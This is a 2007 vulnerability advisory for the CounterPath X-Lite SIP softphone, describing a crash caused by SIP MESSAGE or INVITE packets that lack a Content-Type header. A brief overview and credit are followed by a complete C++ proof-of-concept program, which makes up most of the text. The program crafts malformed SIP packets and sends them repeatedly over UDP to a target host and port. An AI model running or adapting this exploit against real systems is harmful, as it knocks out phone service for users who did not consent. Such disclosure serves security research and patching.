Title
=====
CounterPath X-Lite SIP phone Remote Denial of Service vulnerability

Date
====
10 August 2007

Affected Software
=================
X-Lite versions 3.x (tested on 3.0 34025)
Maybe eyeBeam also ;)

Overview
========
X-Lite by CounterPath Solutions, Inc. is a free and wild used SIP based softphone. More information about X-Lite 

can be found here: www.counterpath.com
A message validation check flaw in X-Lite SIP phone implementation may allow a remote attacker to crash the phone 

causing denial of service.  

Vulnerability Description
=====================
The vulnerability occurs as a result of how the SIP client component handles an incorrectly sip packet. Method of 

INVITE or MESSAGE will be ok. MESSAGE is a sip method for Instant Messaging. 
After X-Lite receive a malformed packet without "Content-Type" field, we call "Missing Content-Type Vulnerability", 

it will be crash.

Solution
========
Not really.

Credit
======
This vulnerability was discovered by Zwell. http://www.nosec.org

PoC
===
/**********main.cpp***********/
#include <stdio.h>
#include <string>
using namespace std;   

#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define close closesocket
#define write(a,b,c) send(a, b, c, 0)
#define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e)
#define read(a,b,c) recv(a, b, c, 0)
#define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e)
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define closesocket close
#define SOCKET int
#define DWORD unsigned long
#endif

char *craft_pkt[] =
{
  "MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"
  "Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"
  "From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n"
  "To: <sip:[TOADDR]>\r\n"
  "Call-ID: [CALLID]@[DOMAIN]\r\n"
  "CSeq: [CSEQ] MESSAGE\r\n"
  "Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n"
  "Content-Length: 0\r\n\r\n",

  "INVITE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"
  "Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"
  "To: <sip:[TOADDR]>\r\n"
  "From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n"
  "Call-ID: [CALLID]@[DOMAIN]\r\n"
  "CSeq: [CSEQ] INVITE\r\n"
  "Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n"
  "Content-Length: 0\r\n\r\n",
};

void socket_init()
{
#ifdef WIN32
  WSADATA wsaData;
  WSAStartup(MAKEWORD(2,0), &wsaData);
#endif
}

unsigned long resolv(const char *host)
{
  struct hostent             *hp;
  unsigned long              host_ip;

  host_ip = inet_addr(host);
  if( host_ip == INADDR_NONE )
  {
    hp = gethostbyname(host);
    if(!hp)
    {
      printf("\nError: Unable to resolve hostname (%s)\n",host);
      exit(1);
    }
    else
      host_ip = *(u_long*)hp->h_addr ;
  }

  return(host_ip);
}

SOCKET udpsocket() 
{
  /* network */
  SOCKET sockfd;
  struct sockaddr_in laddr, raddr;

  sockfd = socket(AF_INET, SOCK_DGRAM, 0);
  if (sockfd == -1)
    goto error;

  memset((char *) &laddr, 0, sizeof(laddr));
  laddr.sin_family = AF_INET;
  laddr.sin_addr.s_addr = htonl(INADDR_ANY);
  if (bind(sockfd, (struct sockaddr *) &laddr, sizeof(laddr)) == -1)
    goto error;

  return sockfd;

error:
#ifdef WIN32
  printf("Error:%d\n", GetLastError());
#endif
  return 0;
}


string &replace_all(string &str,const string& old_value,const string& new_value)  
{  
  while(true)   
  {  
    string::size_type   pos(0);  
    if(   (pos=str.find(old_value))!=string::npos)  
      str.replace(pos,old_value.length(),new_value);  
    else   break;  
  }  
  return   str;  
}   

string &replace_with_rand(string &str, char *value, int len)
{
  char *strspace = "0123456789";
  char randstr[100];
  for(int i=0; i<len; i++)
  {
    do
    {
      randstr[i] = strspace[rand()%strlen(strspace)];
    }while(randstr[i] == '0');
  }
  randstr[len] = 0;
  replace_all(str, value, randstr);
  return str;
}

string build_packet(string _packet, char *addr, char *host)
{
  string packet = _packet;
  replace_all(packet, "[FROMADDR]", addr);
  replace_all(packet, "[TOADDR]", host);
  replace_all(packet, "[DOMAIN]", "www.nosec.org");
  replace_all(packet, "[FROMUSER]", "siprint");
  replace_with_rand(packet, "[CSEQ]", 9);
  replace_with_rand(packet, "[CALLID]", 9);
  replace_with_rand(packet, "[TAG]", 9);
  replace_with_rand(packet, "[BRANCH]", 9);
  return packet;
}

int main(int argc, char **argv)
{
  char *host;
  int port;
  char *localip;
  struct sockaddr_in sockaddr;
  struct sockaddr_in raddr;
  int sockaddrlen = sizeof(sockaddr);
  SOCKET s;

  printf("X-Lite Missing Content-Type DOS PoC\n");

  if(argc != 4)
  {
    printf("usage : %s <host> <port> <localip>\n", argv[0]);
    exit(-1);
  }

  host = argv[1];
  port = atoi(argv[2]);
  localip = argv[3];

  socket_init();
  s = udpsocket();
  if(s == 0)
  {
    printf("Create udp socket error!\n", host, port);
    return 1;
  }
  memset(&sockaddr, 0, sockaddrlen);
  getsockname(s, (struct sockaddr *) &sockaddr, (int *) &sockaddrlen);
  
  raddr.sin_family = AF_INET;
  raddr.sin_addr.S_un.S_addr = resolv(host);
  raddr.sin_port = htons(port);
  for(int i=0; i<20; i++)
  {
    char portstr[6] = {'\0'};
    string packet = build_packet(craft_pkt[i%2], localip, host);
    sprintf(portstr, "%d", ntohs(sockaddr.sin_port));
    replace_all(packet, "[LOCALPORT]", portstr);
    //printf("===========\n%s\n===========\n", packet.c_str());
    writeto(s, packet.c_str(), packet.length(), (struct sockaddr*)&raddr, sockaddrlen);
    Sleep(100);
  }

  return 0;
}